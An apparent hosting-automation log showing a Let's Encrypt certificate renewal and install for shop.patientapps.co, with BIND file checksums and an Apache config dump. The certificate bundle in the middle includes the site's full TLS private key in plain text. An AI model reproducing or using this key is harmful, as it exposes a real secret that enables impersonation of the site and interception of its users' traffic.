MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-03 22:13:16: Establishing a connection
2025-10-03 22:13:17: Establishing a connection
2025-10-03 22:13:17:
PUT: /tmp/pkp325028
#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-03 22:13:17:
chmod 755 /tmp/pkp325028; /tmp/pkp325028; rm /tmp/pkp325028
2025-10-03 22:13:17:
1
2025-10-03 22:13:18: Establishing a connection
2025-10-03 22:13:18:
PUT: /tmp/pkp256174
#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ
2025-10-03 22:13:19:
chmod 755 /tmp/pkp256174; /tmp/pkp256174; rm /tmp/pkp256174
2025-10-03 22:13:19:
2025-10-03 22:13:24: Establishing a connection
2025-10-03 22:13:24:
PUT: /tmp/pkp311308
#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ
2025-10-03 22:13:24:
chmod 755 /tmp/pkp311308; /tmp/pkp311308; rm /tmp/pkp311308
2025-10-03 22:13:24:
2025-10-03 22:13:24: Establishing a connection
2025-10-03 22:13:24:
PUT: /tmp/pkp733279
#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99
cat > $temp_file <<'endmsg'
40:ba:bd:4b:96:20:a2:46:41:a4:bd:f7:61:91:c9:00
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBeIJpzBpkN/qRy7T0WMMfngTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMjExNDUxWhcNMjYwMTAxMjExNDUwWjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA1OmdfVqlPJX1moFdlLqByu3uEzdlcUXhPkgCUe/QgsywwTbafERhQYfB
CWP4z2j6EEg9HYxt3BqQLaPF7j4OBVfQaTgZ2H0BytH3RBc6Tid4M61icgo1tdUe
K7wnP3pngh//0+Da3RK1lLrtLbcPnMSA3LKe4MYJvbomW+g9wcuG1/ELVC7LRChx
JYZvJW5L8vTd1zyj4ACqHrEmNHFnJPOncAaOSAV6kwrfNr15kafDzMTgPnDU4vej
nBrr5f4ioatZSAkOhcUf5PrkPoHZbGuSLYSwMYEWjyzDPPZSmbIjoYEvJVjlLQl3
7ZewiFAuWls2pg55r07TnMJCwMRPvwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSnm35s6iWmCPvVtWGTA9EMp0ZykzAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZmsIwwTAAAE
AwBIMEYCIQDOxqT4W4Ao/fHNR5YxrzmjgMAsEtpsMY/Xr72vW5MCvgIhAMcoou/S
Z4ShCIn3zHIIgPKcg0lMoUxYFmBFX++c6XfqAHUAGYbUxyiqb/66A294Kk0BkarO
LXIxD67OXXBBLSVMx9QAAAGZrCMT5AAABAMARjBEAiBITBopg3qjxmlVNuAbtdnl
Yg3DJngCH7OVTLSqkp3AywIgTl43TOPuYekKSdUbkDVte4ilNBEYJVoSWuuF521L
5+UwDQYJKoZIhvcNAQELBQADggEBADLKmjWBrWLC1rLZoJNAix89j9EP0sLhP7r6
oPRFEAXDJ8cEkvmYfxYS1p1TOaSHwEbUgDSZpBMSwh5rPCPzADaDvXktLKPm/jbM
RIz8CozXhosgpUY3xonGfzzgens6JwUHB8yoZtKGYciuUnucXOFZGkMjyT8iesEu
FXjGlpcWKFQ7SpzieIkQUQZ2w+CUoVG0ymZfFX0dDULUCcljrnmq5SjiRzpmiTuJ
nMpHkAk86s+8jVGWzJdDyGya4qJkTbB4xP0otQyobrBUwSybFE3N4VYVwV68ndy3
dLJjmU2LAqHdrr6NS8yBwwb2M0f3X+07FQOoQD4UbuaiF8WFe50=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU6Z19WqU8lfWa
gV2UuoHK7e4TN2VxReE+SAJR79CCzLDBNtp8RGFBh8EJY/jPaPoQSD0djG3cGpAt
o8XuPg4FV9BpOBnYfQHK0fdEFzpOJ3gzrWJyCjW11R4rvCc/emeCH//T4NrdErWU
uu0ttw+cxIDcsp7gxgm9uiZb6D3By4bX8QtULstEKHElhm8lbkvy9N3XPKPgAKoe
sSY0cWck86dwBo5IBXqTCt82vXmRp8PMxOA+cNTi96OcGuvl/iKhq1lICQ6FxR/k
+uQ+gdlsa5IthLAxgRaPLMM89lKZsiOhgS8lWOUtCXftl7CIUC5aWzamDnmvTtOc
wkLAxE+/AgMBAAECggEATUSbCysiXGJvx6q7M4acI/FFPWQVRI5/uAKaFPJbUZzH
aNdnY0HNqeKCg83sNhl65v3QcDDOjdp2CJou8s9Cd13vHMBnYNG9HMYmXmevmT1p
uhdqasiZxWuaj3SxKbBacDb8uQAZbbGkhF1yRezxlYsa2P1Z+2jjkB9GXIRkJTf2
MY0g7z8gpDwvHvW/36pLBlvNZzh2+odLg65Z7pPgZ8cLNvEYNkbgEGpbWplTMc0n
IFGAPiQyRf4aJdCNYQxE11q70ucYVA2gr0WfZezDpf/oS3AcuRCcKJCGdJLWAVnx
wF2ZgFzrTCdYY5YX+0mYvMUHPjqsAfi9x6CLL2yuwQKBgQDuc8iOX0xVglEpi9+n
Y9oaGretDfQDPrkAMPzJuoQSvOL1d+nGoUcsHAMw6fn1V24sWYsEoqsSNP8IPVZL
9VqGjaRD0iz85a3e0rtqAFsgbQoHk8N/+avsB1DrG+X4ulFd5/1Mnop5cHWL+e4S
9eq2WfU6GKzySr63E3GU8HKbDQKBgQDklK/+7ts6ZHKVPG4MJ2v0AwwnikZ+f7de
CPsU9A1feaMiGphwxlreiCO2KyGSDqaCNWS71p9wFAFjcZjC4fuilV3u0r01EW5u
T79c13chgNmCNkuQC0HdXXFsyIfXdaM27qanDDSBgq9BVvY2qFZFNxno4m90UBqp
k+ytTCTy+wKBgQCNFnLvUpG+8omFVJ6z01AELBTLzzq3BNC/vTyFO9fTonGDnjzz
aw/KmJSGx5o/QUkN8rlft8QS1MqlnG1IKlcyz/IGswAtbtSux+9eK/G/QOUzUInX
WeoQkM+fHPW4cr2cG5zzTcdPTWwvs2TbUShcVuPTSTBjeDhZ6KZG4vJcrQKBgHIw
5YtSACs3qxZqzf88Ym3QZ+4I4han7w8HJYfeNCASQDD1YFpWfWbWVCDZgzfYIc7C
pcRA//2ZwOfRBCO3iWI7hGWe2e78+lIZfNwAt/8Aw6iNP0qClTDlUZiqxVIZ7qOu
rYqeSky44JyfuPitOAvz7vmsxUkyC1/UClS4yWypAoGBANZY/j9a3u28MIuR0X49
KQ2+jjj4UC/6s5TFa7iUxa1QTsaoOgpMnJ7KzWHd6OqfA/V/2vlo3YmVGUDtBfGl
358YvgwzeqmwcCzwReTAM5TJSnh4gSjaHaLgbq+W1ET7SQL8DSPrR5oAspXh9SqF
ch1KXVQq/Chdk1HnRac5KliZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-03 22:13:24:
chmod 755 /tmp/pkp733279; /tmp/pkp733279; rm /tmp/pkp733279
2025-10-03 22:13:24:
dir=/etc/ssl/certs
2025-10-03 22:13:24:
PUT: /tmp/pkp563959
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-03 22:13:25:
chmod 755 /tmp/pkp563959; /tmp/pkp563959; rm /tmp/pkp563959
2025-10-03 22:13:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43
<VirtualHost *:80>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
